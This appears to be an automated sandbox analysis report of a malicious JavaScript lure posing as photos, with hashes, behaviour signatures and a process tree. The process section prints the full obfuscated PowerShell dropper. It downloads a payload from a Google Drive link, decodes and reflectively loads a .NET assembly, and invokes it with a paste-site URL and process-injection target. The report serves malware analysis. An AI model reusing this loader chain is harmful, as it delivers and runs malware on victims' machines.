Analysis

  • max time kernel
    121s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    28-10-2024 01:56

General

  • Target

    Lana_Rhoades_Photoos.js

  • Size

    548KB

  • MD5

    ae498935d8a61b3008bd9393a2306dec

  • SHA1

    b1858655d705e14c01cec8d008c3f3db0a09807b

  • SHA256

    401f183d5553d4f01ff3a4df33524f39faa6138f40afb570300ae41ca31efc08

  • SHA512

    8d9830e5ff3f09099ac1e1af2a585cad2a2ad287b75117741d5f940dc2dd934e7046d17881c93b0398917d1f42a9208ab17bede62a594b1a12997d2bba660a8b

  • SSDEEP

    3072:0F8F8F8F8F8F8F8F8F8F8F8F8F8FjFoFoFoFoFoFoFoFoFoFoFoFoFoFoFoFoFod:X7HlvYPobr777lvrFI

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

exe.dropper

https://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur

Signatures

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Script User-Agent 2 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Lana_Rhoades_Photoos.js
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:1716
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'SQBFAFgAKAAgACgAKAAnAFQAMgBIAGkAbQBhAGcAZQBVAHIAbAAgAD0AIABaADQAUwBoAHQAdABwAHMAOgAvAC8AZAByAGkAdgBlAC4AZwBvAG8AZwBsAGUALgBjAG8AbQAvAHUAYwA/AGUAeABwAG8AcgB0AD0AZABvAHcAbgBsAG8AYQBkACYAaQBkAD0AMQBBAEkAVgBnAEoASgBKAHYAMQBGADYAdgBTADQAcwBVAE8AeQBiAG4ASAAtAHMARAB2AFUAJwArACcAaABCAFkAdwB1AHIAIABaADQAUwA7AFQAMgBIAHcAZQBiAEMAbABpAGUAbgB0ACAAPQAgACcAKwAnAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQAnACsAJwBuAHQAOwBUADIASABpAG0AYQBnAGUAQgB5AHQAZQBzACAAPQAgAFQAMgAnACsAJwBIAHcAZQBiAEMAbABpAGUAbgB0AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKABUADIASABpAG0AYQBnAGUAVQByAGwAKQA7AFQAMgBIAGkAbQBhACcAKwAnAGcAZQBUAGUAeAAnACsAJwB0ACAAPQAgAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAJwArACcAcgBpAG4AZwAoAFQAMgBIAGkAbQBhAGcAZQBCAHkAdABlAHMAKQA7AFQAMgBIAHMAdABhAHIAdABGAGwAYQBnACAAPQAgAFoANABTADwAPABCAEEAUwBFADYANABfAFMAJwArACcAVABBAFIAVAA+AD4AWgA0AFMAOwAnACsAJwBUADIASABlAG4AZABGAGwAYQBnACAAPQAgAFoANABTADwAPABCAEEAUwBFADYANABfAEUATgBEAD4APgBaACcAKwAnADQAJwArACcAUwA7AFQAMgBIAHMAdABhAHIAdABJAG4AZABlAHgAIAA9ACAAVAAyAEgAaQBtAGEAZwBlAFQAZQB4AHQALgBJAG4AZABlAHgATwBmACgAVAAyAEgAcwB0AGEAcgB0AEYAbABhAGcAKQA7AFQAMgBIAGUAbgBkAEkAbgBkACcAKwAnAGUAeAAgAD0AIABUADIASABpAG0AYQBnAGUAVABlAHgAdAAuAEkAbgBkACcAKwAnAGUAeABPAGYAKABUADIASABlAG4AZABGAGwAYQBnACkAOwBUADIASABzAHQAYQByAHQASQBuAGQAZQB4ACAALQAnACsAJwBnAGUAIAAwACAALQBhAG4AZAAgAFQAMgBIAGUAbgBkAEkAbgBkAGUAeAAgAC0AZwB0ACAAVAAyAEgAcwB0AGEAcgB0AEkAbgBkACcAKwAnAGUAeAA7AFQAMgBIAHMAdABhAHIAdABJAG4AZABlAHgAIAArAD0AIAAnACsAJwBUADIASABzAHQAYQByAHQARgBsAGEAZwAuAEwAZQBuAGcAdABoADsAVAAyAEgAYgBhAHMAZQA2ADQATABlAG4AZwB0AGgAIAA9ACcAKwAnACAAVAAyAEgAZQBuAGQASQBuAGQAZQB4ACAALQAgAFQAMgBIAHMAdABhAHIAdABJAG4AZABlAHgAOwBUADIASABiAGEAcwAnACsAJwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgAFQAMgBIAGkAbQBhAGcAZQBUAGUAeAB0AC4AUwB1AGIAcwB0AHIAaQBuAGcAKABUADIASABzAHQAYQByAHQASQBuAGQAZQB4ACwAIABUADIASABiAGEAcwBlADYANABMAGUAbgBnAHQAaAApADsAVAAyAEgAYgBhAHMAZQA2ADQAUgBlAHYAZQByAHMAZQBkACAAPQAgAC0AagBvAGkAbgAgACgAVAAyAEgAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAuACcAKwAnAFQAbwBDAGgAYQByAEEAcgByAGEAeQAoACkAIABWAEcAcQAgAEYAbwAnACsAJwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsAIABUADIASABfACAAfQApAFsALQAnACsAJwAxACcAKwAnAC4ALgAtACgAVAAyAEgAYgBhAHMAZQA2ADQAQwBvAG0AbQBhAG4AZAAuAEwAZQBuAGcAdABoACkAXQA7AFQAMgBIAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACAAPQAgAFsAUwB5AHMAdABlAG0AJwArACcALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAJwArACcAaQBuAGcAKABUADIASABiAGEAcwBlADYANABSAGUAdgBlACcAKwAnAHIAcwBlAGQAKQA7AFQAMgBIAGwAbwBhAGQAZQBkAEEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUgBlAGYAbABlAGMAdABpAG8AbgAuAEEAcwBzAGUAJwArACcAbQBiAGwAeQBdADoAOgBMAG8AYQBkACgAVAAyAEgAYwBvAG0AbQBhAG4AZABCAHkAdABlAHMAKQA7AFQAMgBIAHYAYQBpAE0AZQB0AGgAbwBkACAAPQAgAFsAZABuAGwAaQBiAC4ASQBPAC4ASABvAG0AZQAnACsAJwBdAC4ARwBlAHQATQBlAHQAaABvAGQAKABaADQAUwBWAEEASQBaADQAUwApADsAVAAyAEgAdgBhAGkATQBlAHQAaABvAGQALgBJAG4AdgAnACsAJwBvAGsAZQAoAFQAMgBIAG4AdQBsAGwALAAgAEAAKABaADQAUwAwAC8ANABLAHoAJwArACcAegB1AC8AZAAvAGUAZQAuAGUAdABzAGEAcAAvAC8AOgBzAHAAdAB0AGgAWgA0AFMAJwArACcALAAgAFoANABTAGQAZQBzAGEAdABpAHYAYQBkAG8AWgA0AFMALAAgAFoANABTAGQAZQBzAGEAdABpAHYAYQBkAG8AWgA0AFMALAAgAFoANABTAGQAZQBzAGEAdABpAHYAYQBkAG8AWgA0AFMALAAgAFoANABTAEEAZABkAEkAbgBQAHIAbwBjAGUAcwBzADMAMgBaADQAJwArACcAUwAsACAAWgA0AFMAZABlAHMAYQB0AGkAdgBhAGQAbwBaADQAUwAsACAAWgA0AFMAZABlAHMAYQB0ACcAKwAnAGkAdgBhAGQAbwBaADQAUwAnACsAJwAsAFoANABTAGQAJwArACcAZQAnACsAJwBzAGEAdABpAHYAYQAnACsAJwBkAG8AWgA0AFMALABaADQAJwArACcAUwBkAGUAcwBhAHQAaQB2AGEAZABvAFoANABTACwAWgA0AFMAZABlAHMAYQB0AGkAdgBhAGQAJwArACcAbwBaADQAUwAsAFoANABTAGQAZQBzAGEAdABpAHYAYQBkAG8AWgA0AFMALABaADQAUwBkAGUAcwBhAHQAaQB2AGEAZABvAFoANABTACwAWgA0AFMAMQBaADQAUwAsAFoANABTAGQAZQBzAGEAdABpAHYAYQBkAG8AWgA0AFMAKQApADsAJwApACAALQBDAHIAZQBQAGwAYQBDAEUAIAAgACcAVAAyAEgAJwAsAFsAQwBoAGEAUgBdADMANgAtAFIAZQBQAGwAQQBjAEUAIAAgACcAWgA0AFMAJwAsAFsAQwBoAGEAUgBdADMAOQAgAC0AQwByAGUAUABsAGEAQwBFACcAVgBHAHEAJwAsAFsAQwBoAGEAUgBdADEAMgA0ACkAKQA=';$OWjuxD = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64String($Codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1980
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "IEX( (('T2HimageUrl = Z4Shttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvU'+'hBYwur Z4S;T2HwebClient = '+'New-Object System.Net.WebClie'+'nt;T2HimageBytes = T2'+'HwebClient.DownloadData(T2HimageUrl);T2Hima'+'geTex'+'t = [System.Text.Encoding]::UTF8.GetSt'+'ring(T2HimageBytes);T2HstartFlag = Z4S<<BASE64_S'+'TART>>Z4S;'+'T2HendFlag = Z4S<<BASE64_END>>Z'+'4'+'S;T2HstartIndex = T2HimageText.IndexOf(T2HstartFlag);T2HendInd'+'ex = T2HimageText.Ind'+'exOf(T2HendFlag);T2HstartIndex -'+'ge 0 -and T2HendIndex -gt T2HstartInd'+'ex;T2HstartIndex += '+'T2HstartFlag.Length;T2Hbase64Length ='+' T2HendIndex - T2HstartIndex;T2Hbas'+'e64Command = T2HimageText.Substring(T2HstartIndex, T2Hbase64Length);T2Hbase64Reversed = -join (T2Hbase64Command.'+'ToCharArray() VGq Fo'+'rEach-Object { T2H_ })[-'+'1'+'..-(T2Hbase64Command.Length)];T2HcommandBytes = [System'+'.Convert]::FromBase64Str'+'ing(T2Hbase64Reve'+'rsed);T2HloadedAssembly = [System.Reflection.Asse'+'mbly]::Load(T2HcommandBytes);T2HvaiMethod = [dnlib.IO.Home'+'].GetMethod(Z4SVAIZ4S);T2HvaiMethod.Inv'+'oke(T2Hnull, @(Z4S0/4Kz'+'zu/d/ee.etsap//:sptthZ4S'+', Z4SdesativadoZ4S, Z4SdesativadoZ4S, Z4SdesativadoZ4S, Z4SAddInProcess32Z4'+'S, Z4SdesativadoZ4S, Z4Sdesat'+'ivadoZ4S'+',Z4Sd'+'e'+'sativa'+'doZ4S,Z4'+'SdesativadoZ4S,Z4Sdesativad'+'oZ4S,Z4SdesativadoZ4S,Z4SdesativadoZ4S,Z4S1Z4S,Z4SdesativadoZ4S));') -CrePlaCE 'T2H',[ChaR]36-RePlAcE 'Z4S',[ChaR]39 -CrePlaCE'VGq',[ChaR]124))"
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2320

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

    Filesize

    7KB

    MD5

    4ceb60c2391aa6e6de35884cd491719e

    SHA1

    4d9b9a401fcba10727dc7bf2f6b6d9b3ca82f61e

    SHA256

    93889e61a89b035eb1cc931df6f703f7d6d1a89f310c45f99950df2ffa876df3

    SHA512

    5cf04b9372174f443efc2bcf246bf203744ccaa55f17faeedd133a0923f92328323a0a79d4e18cff5a35538ea528c6f1ea6e0de1564ce5658a896ed0e5cdb4cf

  • memory/1980-4-0x000007FEF5E3E000-0x000007FEF5E3F000-memory.dmp

    Filesize

    4KB

  • memory/1980-6-0x000007FEF5B80000-0x000007FEF651D000-memory.dmp

    Filesize

    9.6MB

  • memory/1980-5-0x000000001B650000-0x000000001B932000-memory.dmp

    Filesize

    2.9MB

  • memory/1980-7-0x0000000001D10000-0x0000000001D18000-memory.dmp

    Filesize

    32KB

  • memory/1980-8-0x000007FEF5B80000-0x000007FEF651D000-memory.dmp

    Filesize

    9.6MB

  • memory/1980-9-0x000007FEF5B80000-0x000007FEF651D000-memory.dmp

    Filesize

    9.6MB

  • memory/1980-10-0x000007FEF5B80000-0x000007FEF651D000-memory.dmp

    Filesize

    9.6MB

  • memory/1980-16-0x000007FEF5E3E000-0x000007FEF5E3F000-memory.dmp

    Filesize

    4KB

  • memory/1980-17-0x000007FEF5B80000-0x000007FEF651D000-memory.dmp

    Filesize

    9.6MB

  • memory/1980-21-0x000007FEF5B80000-0x000007FEF651D000-memory.dmp

    Filesize

    9.6MB

  • memory/2320-20-0x000000001AE40000-0x000000001AF9A000-memory.dmp

    Filesize

    1.4MB